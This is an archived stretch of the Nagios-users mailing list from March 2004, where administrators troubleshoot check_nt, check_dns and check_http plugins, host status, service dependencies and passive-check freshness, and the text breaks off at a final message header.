<1079979093.9088.240.camel@localhost> Here's a curious problem that's cropped up recently. I've been going along for months with check_nt working normally...no problems to speak of. Recently, when I compile the plugins (latest cvs), my check_nt plugin is broken. Any host I try to check (for any variable) comes back with "could not fetch information from server". This is the generic error when the request can't be processed (line 471 from check_nt.c). I had my old (working) copy of check_nt backed up, so I copied it into place, so I'm not dead in the water or anything. Now, here's why it's particularly curious. I diff'd the check_nt.c from a known good build and it's the *exact same* as the 'bad' one! I can't figure out anything that's changed related to that (and I certainly would expect a more elaborate error if something was truly broken) and none of the other tcp-based checks seem to have any complaints. Any ideas? I've been banging my head against this wall for a few weeks now and have come up with nothing. Thanks for any help! --jeff ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Mon Mar 22 19:15:32 2004 From: ae at op5.se (Andreas Ericsson) Date: Mon, 22 Mar 2004 19:15:32 +0100 Subject: Host assumed to be up? In-Reply-To: <20040322164537.65655.qmail@web10503.mail.yahoo.com> References: <20040322164537.65655.qmail@web10503.mail.yahoo.com> Message-ID: <405F2D44.9080707@op5.se> Most service checks will do just fine with a normal_check_interval of 5 minutes. Hard disk checks barely need checking more than once every hour, while the company internet pipe and the core switch/router will probably need checking just about every second. We've solved this problem by using three templates. critical_service_template{} uses a normal_check_interval of 2 minutes, and a max_check_attempts of 2 (just minor alarm suppression). default_service_template{} uses a normal_check_interval of 5 minutes, max_check_attempts of 3. noncritical_service_template uses a normal_check_interval of 120 minutes with a max_check_attempts of 3. All services use retry_check_interval of 1 minute. Using this method, nagios scales awesomely even on really large systems (1200+ checks on 250 hosts). Cheers, Sourcerer / Andreas Ericsson Blake wrote: > actually there might be one more thing I can ask you > to check .. please check using the Nagios web > interface your performance info and scheduling queue > .. it might be that checks are scheduled but not being > performed ... I had this problem and changed my normal > check interval from 60 seconds to 120 seconds and > things started to run normal. I do not know why this > is the case. > > --- Blake wrote: > >>in your hosts.cfg, is checks_enable = 0 or 1 ? it >>would be more helpful to have more information about >>your configuration. >> >>FYI - note from the FAQ: After services associated >>with the host are initially checked and found to be >>in >>an OK state, Nagios will assume that the host is up >>and running fine. That's why the status information >>is >>set to "(Host assumed to be up)". If Nagios needs to >>actually verify the status of the host at some point >>in the future, the status information will be >>changed >>to reflect the output of the host check command. >> >> >> >> >>--- Norm Dressler wrote: >> >>>In my Host Details view, even though a server is >>>down, it's showing as >>>green. The services are showing properly that the >>>server is down. >>> >>>In the Status Information field it says "Host >>>assumed to be up". I have >>>check-host-alive assigned to every server. What >> >>am >> >>>I missing? >>> >>>Norm >>> >>> >>> >>> >>> >>> >> > ------------------------------------------------------- > >>>This SF.Net email is sponsored by: IBM Linux >>>Tutorials >>>Free Linux tutorial presented by Daniel Robbins, >>>President and CEO of >>>GenToo technologies. Learn everything from >>>fundamentals to system >>> >> > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click > >>>_______________________________________________ >>>Nagios-users mailing list >>>Nagios-users at lists.sourceforge.net >>> >> > https://lists.sourceforge.net/lists/listinfo/nagios-users > >>>::: Please include Nagios version, plugin version >>>(-v) and OS when reporting any issue. >>>::: Messages without supporting info will risk >> >>being >> >>>sent to /dev/null >> >> >>__________________________________ >>Do you Yahoo!? >>Yahoo! Finance Tax Center - File online. File on >>time. >>http://taxes.yahoo.com/filing.html >> > > > > __________________________________ > Do you Yahoo!? > Yahoo! Finance Tax Center - File online. File on time. > http://taxes.yahoo.com/filing.html > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > -- Mvh Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Mon Mar 22 19:22:07 2004 From: ae at op5.se (Andreas Ericsson) Date: Mon, 22 Mar 2004 19:22:07 +0100 Subject: check_nt problem In-Reply-To: <1079979093.9088.240.camel@localhost> References: <1079979093.9088.240.camel@localhost> Message-ID: <405F2ECF.7010403@op5.se> jeff vier wrote: --[ snip, snip ]---- > I had my old (working) copy of check_nt backed up, so I copied it into > place, so I'm not dead in the water or anything. > > Now, here's why it's particularly curious. I diff'd the check_nt.c from > a known good build and it's the *exact same* as the 'bad' one! > Try diffing all the files it #include's too (you might need to revert to older kernel headers for that), as well as the files it's linked to. If nothing is different there, then it can only be compiler error. Try running gdb on it. It should give you some pointers. > Thanks for any help! > > --jeff > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > -- Mvh / Best regards Sourcerer / Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From porus at sgi.com Mon Mar 22 19:28:53 2004 From: porus at sgi.com (Porus Lakdawala) Date: Mon, 22 Mar 2004 10:28:53 -0800 Subject: service dependencies Message-ID: Hi, I have a question/request regarding the way service dependencies are defined in the current config files. Service dependencies currently require the names of both dependent and the depending hosts to define them. However, in a large number of cases we would like to define dependent services located on a single host alone. While we can do that using the current definitions, it requires a new service dependency created for every host. It would be good to be able define a local (single host) service dependency using hostgroup_names's. That way we don't need to worry about creating a new definition per host, for the same set of dependent services on each host. I am not sure that this can be done today. Or is there some secret that is not documented? Thanks. ----- Porus Lakdawala Phone: (650) 9334576 Email: porus at sgi.com ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jhmartin at toger.us Mon Mar 22 20:00:54 2004 From: jhmartin at toger.us (Jason Martin) Date: Mon, 22 Mar 2004 11:00:54 -0800 (PST) Subject: service dependencies In-Reply-To: References: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I think you are looking for tthis: http://nagios.sourceforge.net/docs/1_0/templatetricks.html#servicedependency - -Jason Martin On Mon, 22 Mar 2004, Porus Lakdawala wrote: > Hi, > > I have a question/request regarding the way service dependencies are defined > in the current config files. > > Service dependencies currently require the names of both dependent and the > depending hosts to define them. However, in a large number of cases we would > like to define dependent services located on a single host alone. While we > can do that using the current definitions, it requires a new service > dependency created for every host. > > It would be good to be able define a local (single host) service dependency > using hostgroup_names's. That way we don't need to worry about creating a > new definition per host, for the same set of dependent services on each > host. > > I am not sure that this can be done today. Or is there some secret that is > not documented? > > Thanks. > > ----- > Porus Lakdawala > Phone: (650) 9334576 > Email: porus at sgi.com > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.3.5 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQFAXzfql2ODWuqVSBMRAlhbAJ0XMAT8Lh5S8jPpxxb7IAS5/qny+ACeNCPA /Gma4Y5DwDtLB52IS/dlqME= =lcqS -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Matthew.Quinney at hollandandholland.com Mon Mar 22 20:12:21 2004 From: Matthew.Quinney at hollandandholland.com (Matthew.Quinney at hollandandholland.com) Date: Mon, 22 Mar 2004 19:12:21 +0000 Subject: WMI Message-ID: Morning all ! Is anybody monitoring any Windows servers via WMI from Nagios on Linux ? I need a way to check if a scheduled task is running and thought that this would be the best way forward. Thanks ! Matthew -------------- next part -------------- An HTML attachment was scrubbed... URL: From ndressler at dinmar.com Mon Mar 22 19:45:25 2004 From: ndressler at dinmar.com (Norm Dressler) Date: Mon, 22 Mar 2004 14:45:25 -0400 Subject: Host assumed to be up? In-Reply-To: References: Message-ID: <79ff14323e10c411a64afa4703fd86b8@fpott01.dinmar.com> The machine was not responding to pings in any way -- the DSL link was down so I would have thought it would be indicated as 'down'. I'll take a closer look at it and post some more config info once I have access to the monitoring station again. We are doing some upgrades to it right now. Norm -----Original Message----- From: Robert Nelson [mailto:rnelson at windchannel.com] Sent: Monday, March 22, 2004 2:29 PM To: ndressler at dinmar.com; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] Host assumed to be up? > -----Original Message----- > From: Norm Dressler [mailto:ndressler at dinmar.com] > Sent: Monday, March 22, 2004 9:04 AM > To: nagios-users at lists.sourceforge.net > Subject: [Nagios-users] Host assumed to be up? > > > In my Host Details view, even though a server is down, it's > showing as > green. The services are showing properly that the server is down. > > In the Status Information field it says "Host assumed to be > up". I have > check-host-alive assigned to every server. What am I missing? > > Norm Norm, The "check-host-alive" is a ping command. Does your machine still respond to pings, even though all the services are down? If need be, change the check command to check_ssh, check_http, whatever the Service check is using. Rob Nelson Network Engineer Windchannel Communications M: 919-538-6326 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rnelson at windchannel.com Mon Mar 22 20:29:23 2004 From: rnelson at windchannel.com (Robert Nelson) Date: Mon, 22 Mar 2004 14:29:23 -0500 Subject: Host assumed to be up? Message-ID: > -----Original Message----- > From: Norm Dressler [mailto:ndressler at dinmar.com] > Sent: Monday, March 22, 2004 9:04 AM > To: nagios-users at lists.sourceforge.net > Subject: [Nagios-users] Host assumed to be up? > > > In my Host Details view, even though a server is down, it's > showing as > green. The services are showing properly that the server is down. > > In the Status Information field it says "Host assumed to be > up". I have > check-host-alive assigned to every server. What am I missing? > > Norm Norm, The "check-host-alive" is a ping command. Does your machine still respond to pings, even though all the services are down? If need be, change the check command to check_ssh, check_http, whatever the Service check is using. Rob Nelson Network Engineer Windchannel Communications M: 919-538-6326 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jeff.vier at tradingtechnologies.com Mon Mar 22 21:34:13 2004 From: jeff.vier at tradingtechnologies.com (jeff vier) Date: Mon, 22 Mar 2004 14:34:13 -0600 Subject: check_nt problem In-Reply-To: <405F2ECF.7010403@op5.se> References: <1079979093.9088.240.camel@localhost> <405F2ECF.7010403@op5.se> Message-ID: <1079987653.9088.338.camel@localhost> On Mon, 2004-03-22 at 12:22, Andreas Ericsson wrote: > Try diffing all the files it #include's too (you might need to revert to > older kernel headers for that), as well as the files it's linked to. > If nothing is different there, then it can only be compiler error. Hrm. I don't have the old cvs source that I compiled from (I could guess on dates from cvs, but I don't want guess wrong and waste time there), so I can only diff from [a slightly patched for mysql functionality] 1.4.0a -> current cvs. I can compile the [patched] v1.4.0a plugin set and it works fine, and there are no differences between the two versions of check_nt.c Of the three #include'd files common.h are the same. utils.h has a few additional lines: ---- @@ -92,6 +92,18 @@ int maxp, long int maxv); +char *fperfdata (const char *label, + double val, + const char *uom, + int warnp, + double warn, + int critp, + double crit, + int minp, + double minv, + int maxp, + double maxv); + /* The idea here is that, although not every plugin will use all of ---- That looks innocuous (to me). netutils.h: ---- @@ -47,7 +47,10 @@ int my_tcp_connect (const char *address, int port, int *sd); int my_udp_connect (const char *address, int port, int *sd); -int mya_connect (const char *address, int port, int *sd, int proto); + +int send_tcp_request (int sd, const char *send_buffer, char *recv_buffer, int recv_size); +int send_udp_request (int sd, const char *send_buffer, char *recv_buffer, int recv_size); +int send_request (int sd, int proto, const char *send_buffer, char *recv_buffer, int recv_size); int is_host (const char *); int is_addr (const char *); ---- Now *that* looks suspicious (to me, anyway). > Try running gdb on it. It should give you some pointers. yeah, I tried that and ldd - both run clean. I don't know gdb well enough to deal with much if it doesn't segfault (which, unfortunately, this doesn't. exits cleanly (with an errorcode of 1, but that doesn't tell me anything :)) Alas, I'm not much of a C coder. Is there anything specific I should do in gdb that might be a little more informative (to me or someone who knows what they're looking at)? ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From strombrg at dcs.nac.uci.edu Mon Mar 22 21:36:05 2004 From: strombrg at dcs.nac.uci.edu (Dan Stromberg) Date: Mon, 22 Mar 2004 12:36:05 -0800 Subject: host up as reply to host down? Message-ID: <1079987765.2662.16.camel@sabaki.dcs.uci.edu> When I get a host down warning, I've found myself tending to ignore it as I go through my mailbox, because often there's a host up notice shortly thereafter. So I try to keep in mind that there was a host down warning for this, that and the other machine, and take action if I don't see a corresponding host up notice. However, if my mailbox is large enough that day (and my mailbox is normally full of new messages), there's a non-0 chance I'll forget that I never saw a host up notice corresponding to some host down warning. So my question is, what would it take to make nagios' host up notices be sent as replies to host down warnings in a way that would allow mutt, evolution, and other threaded mailreaders to put the two mail messages right next to each other in my (and your) mailbox like your usual threaded discussion? -- Dan Stromberg DCS/NACS/UCI -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From marc at ena.com Mon Mar 22 21:56:43 2004 From: marc at ena.com (Marc Powell) Date: Mon, 22 Mar 2004 14:56:43 -0600 Subject: host up as reply to host down? Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A376@mismail2.ena.com> On Monday, March 22, 2004 2:36 PM, Dan Stromberg shared with us: > When I get a host down warning, I've found myself tending to ignore > it as I go through my mailbox, because often there's a host up notice > shortly thereafter. So I try to keep in mind that there was a host > down warning for this, that and the other machine, and take action if > I don't see a corresponding host up notice. > > However, if my mailbox is large enough that day (and my mailbox is > normally full of new messages), there's a non-0 chance I'll forget > that I never saw a host up notice corresponding to some host down > warning. That's the kind of thing that the web interface is for; to see what's down that you missed or didn't know about. > So my question is, what would it take to make nagios' host up notices > be sent as replies to host down warnings in a way that would allow > mutt, evolution, and other threaded mailreaders to put the two mail > messages right next to each other in my (and your) mailbox like your > usual threaded discussion? Modify your host/service-notify-by-email command to do it. It would be a very trivial task to make host/service-notify-by-email a wrapper script that simply changes the subject based on the current state of the host or service, prefacing it with 'RE:' if the state was OK for example. You could even use the OCSP submit-check-result sample script as a starting point. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From DavidB at etobin.com Mon Mar 22 21:58:07 2004 From: DavidB at etobin.com (David Barnett) Date: Mon, 22 Mar 2004 14:58:07 -0600 Subject: freshness checking of passive devices Message-ID: I am using Nagios to monitor some workstations that are active from 9 to 5 but shut down otherwise. I am monitoring these workstations passively using the NSCA add-on and I check the freshness by having a check command like in the documentation. However, when the workstations shut down at 5, the passive checks stop coming, as they should. After 30 minutes of no passive checks, Nagios runs the active check of check_freshness.sh, and reports the services as critical because they haven't checked in for 30 minutes. I don't want it to run this check because the device should be off. Also, when the workstations start up in the morning and check in, I get notifications saying the services have recovered, when in reality they never really went down in the first place. Is there way to not have it run the active check after a certain time? Or in the script is there a way to check the current time and not return anything if it isn't between 9 and 5? Thanks for any help. David -------------- next part -------------- An HTML attachment was scrubbed... URL: From jdoyle at lewisgaleclinic.com Mon Mar 22 22:02:14 2004 From: jdoyle at lewisgaleclinic.com (Jack Doyle) Date: Mon, 22 Mar 2004 16:02:14 -0500 Subject: freshness checking of passive devices Message-ID: I don't use any passive checking, so forgive me if I'm wrong.. but can't you set the time period on the services to be that of when you want them checked? ----- John N. Doyle, Network+ Certified Professional Systems Operations Specialist Lewis-Gale Clinic Information Systems 540.772.3669 >PGP Key Available: http://68.106.83.67:8082/pgp.txt -----Original Message----- From: David Barnett [mailto:DavidB at etobin.com] Sent: Monday, March 22, 2004 3:58 PM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] freshness checking of passive devices I am using Nagios to monitor some workstations that are active from 9 to 5 but shut down otherwise. I am monitoring these workstations passively using the NSCA add-on and I check the freshness by having a check command like in the documentation. However, when the workstations shut down at 5, the passive checks stop coming, as they should. After 30 minutes of no passive checks, Nagios runs the active check of check_freshness.sh, and reports the services as critical because they haven't checked in for 30 minutes. I don't want it to run this check because the device should be off. Also, when the workstations start up in the morning and check in, I get notifications saying the services have recovered, when in reality they never really went down in the first place. Is there way to not have it run the active check after a certain time? Or in the script is there a way to check the current time and not return anything if it isn't between 9 and 5? Thanks for any help. David -------------- next part -------------- An HTML attachment was scrubbed... URL: From meck at chilitech.net Mon Mar 22 22:13:20 2004 From: meck at chilitech.net (Michael Eck) Date: Mon, 22 Mar 2004 16:13:20 -0500 Subject: Service Configuration Question Message-ID: Is there any way to configure a service so that Nagios only performs the host check when a particular non-OK state is returned by the service check? For example, I have a service check that, when in a critical or warning state, the host is necessarily up (it's an SNMP value), but when in an unknown state the host may be down. My problem is that Nagios is performing too many host checks on hosts that are clearly up but in a non-OK state. I'm either missing something in the check logic, missing a configuration directive, or Nagios can't do this. Thanks for the help. ---- Michael Eck Chilitech Internet Solutions Network Operations Center 570-323-2166 http://www.chilitech.net ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dlabonte at nrcan.gc.ca Mon Mar 22 22:23:24 2004 From: dlabonte at nrcan.gc.ca (=?iso-8859-1?Q?=22Labont=E9=2C_Diane=22?=) Date: Mon, 22 Mar 2004 16:23:24 -0500 Subject: No Output! error when using check_http to verify the output or a URL Message-ID: Hello, While attempting to use the check_http plugin to verify the existance of a file on a web site I came across a very annoying error message: No Output!. What was causing this error was that at the end of the URL string there was a ";", which is required to open the site. Nagios does not like this character, hence the error message. To correct this problem, I had to replace the ; this: %3B My check_HTTP then worked fine! Diane ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rnelson at windchannel.com Mon Mar 22 20:54:14 2004 From: rnelson at windchannel.com (Robert Nelson) Date: Mon, 22 Mar 2004 14:54:14 -0500 Subject: check_dns problems Message-ID: Hello, I've used the check_dns plugin for quite awhile now at another job, and it worked flawlessly. When I got to my current job, I threw up Nagios and lo and behold, the first two services I put in to showcase the system were DNS and are showing red nearly all the time. Whoops! I'm using check_dns on two freeBSD servers. Check_dns is reporting an effective downtime of 99% (the few times I get a recovery notice, I also get a failure notice within 5-10 minutes). At the same time, our entire office uses these two DNS servers exclusively, as well as all our clients, and no-one reports any DNS problems. This has been going on for nearly a month now. I can't explain it at all. Using check_dns from the command line rapidly (up arrow, enter, up arrow, enter, etc.) gives me *maybe* a 2 in 10 failure rate. Doing nslookup's to the same servers gives possibly a 1/100 failure, altho some queries take more than the 10 seconds that the plugin times out in. At the same time, constant pings between the nagios and DNS servers work 100%. I have this problem with BOTH dns servers. Setup is... Nagios: Nagios v1.2 check_dns (nagios-plugins 1.3.1) 1.8.2.3 Red Hat v8.0 Apache 2.0.4 DNS Servers: FreeBSD 4.7-RELEASE-p3 named 8.3.3-REL Thanks! Rob Nelson Network Engineer Windchannel Communications M: 919-538-6326 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From porus at sgi.com Mon Mar 22 22:48:53 2004 From: porus at sgi.com (Porus Lakdawala) Date: Mon, 22 Mar 2004 13:48:53 -0800 Subject: service dependencies Message-ID: No, actually this does not work. For example if we use define servicedependency{ hostgroup_name HOSTGROUP1 service_description SERVICE1 dependent_hostgroup_name HOSTGROUP1 dependent_service_description SERVICE2 other dependency directives ... } then SERVICE2 running on all hosts in HOSTGROUP1 will be dependent on SERVICE1 running on all hosts in HOSTGROUP1. What I am looking for is to have SERVICE2 on each host in HOSTGROUP1 be dependent on SERVICE1 running on the same host and no other. Which, atleast to my mind, would be the most common case. As things stand currently, the service dependency needs to be defined not only for each pair of services (which can be done once, each time we add a new service), but also for every host that we add (which makes it terribly tedious). Porus. > -----Original Message----- > From: Jason Martin [mailto:jhmartin at toger.us] > Sent: Monday, March 22, 2004 11:01 AM > To: Porus Lakdawala > Cc: nagios-users at lists.sourceforge.net > Subject: Re: [Nagios-users] service dependencies > > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I think you are looking for tthis: > > http://nagios.sourceforge.net/docs/1_0/templatetricks.html#ser > vicedependency > > - -Jason Martin > On > Mon, 22 Mar 2004, Porus Lakdawala > wrote: > > > Hi, > > > > I have a question/request regarding the way service > dependencies are defined > > in the current config files. > > > > Service dependencies currently require the names of both > dependent and the > > depending hosts to define them. However, in a large number > of cases we would > > like to define dependent services located on a single host > alone. While we > > can do that using the current definitions, it requires a new service > > dependency created for every host. > > > > It would be good to be able define a local (single host) > service dependency > > using hostgroup_names's. That way we don't need to worry > about creating a > > new definition per host, for the same set of dependent > services on each > > host. > > > > I am not sure that this can be done today. Or is there some > secret that is > > not documented? > > > > Thanks. > > > > ----- > > Porus Lakdawala > > Phone: (650) 9334576 > > Email: porus at sgi.com > > > > > > ------------------------------------------------------- > > This SF.Net email is sponsored by: IBM Linux Tutorials > > Free Linux tutorial presented by Daniel Robbins, President > and CEO of > > GenToo technologies. Learn everything from fundamentals to system > > > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > > _______________________________________________ > > Nagios-users mailing list > > Nagios-users at lists.sourceforge.net > > https://lists.sourceforge.net/lists/listinfo/nagios-users > > ::: Please include Nagios version, plugin version (-v) and > OS when reporting any issue. > > ::: Messages without supporting info will risk being sent > to /dev/null > > > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.3.5 (GNU/Linux) > Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ > > iD8DBQFAXzfql2ODWuqVSBMRAlhbAJ0XMAT8Lh5S8jPpxxb7IAS5/qny+ACeNCPA > /Gma4Y5DwDtLB52IS/dlqME= > =lcqS > -----END PGP SIGNATURE----- > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Mon Mar 22 22:50:22 2004 From: ae at op5.se (Andreas Ericsson) Date: Mon, 22 Mar 2004 22:50:22 +0100 Subject: Service Configuration Question In-Reply-To: References: Message-ID: <405F5F9E.6000303@op5.se> Service checks that aren't subject to user-error should return critical when experiencing network problems (no data received, for instance). UNKNOWN should only be returned when bad parameters have been passed to the plugin, or when the files or directories the plugin depends on are missing. Because of a lot of the plugin authors fail to conform to that standard, nagios has a hard time doing The Right Thing and keeping users happy at the same time. Michael Eck wrote: > Is there any way to configure a service so that Nagios only performs the > host check when a particular non-OK state is returned by the service > check? For example, I have a service check that, when in a critical or > warning state, the host is necessarily up (it's an SNMP value), but when > in an unknown state the host may be down. My problem is that Nagios is > performing too many host checks on hosts that are clearly up but in a > non-OK state. I'm either missing something in the check logic, missing > a configuration directive, or Nagios can't do this. > > Thanks for the help. > > ---- > Michael Eck > Chilitech Internet Solutions > Network Operations Center > 570-323-2166 > http://www.chilitech.net > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. ::: Messages without supporting info will risk > being sent to /dev/null > -- Mvh / Best regards Sourcerer / Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Mon Mar 22 23:25:52 2004 From: ae at op5.se (Andreas Ericsson) Date: Mon, 22 Mar 2004 23:25:52 +0100 Subject: host up as reply to host down? In-Reply-To: <1079990096.2662.29.camel@sabaki.dcs.uci.edu> References: <1079987765.2662.16.camel@sabaki.dcs.uci.edu> <405F54FF.8040105@op5.se> 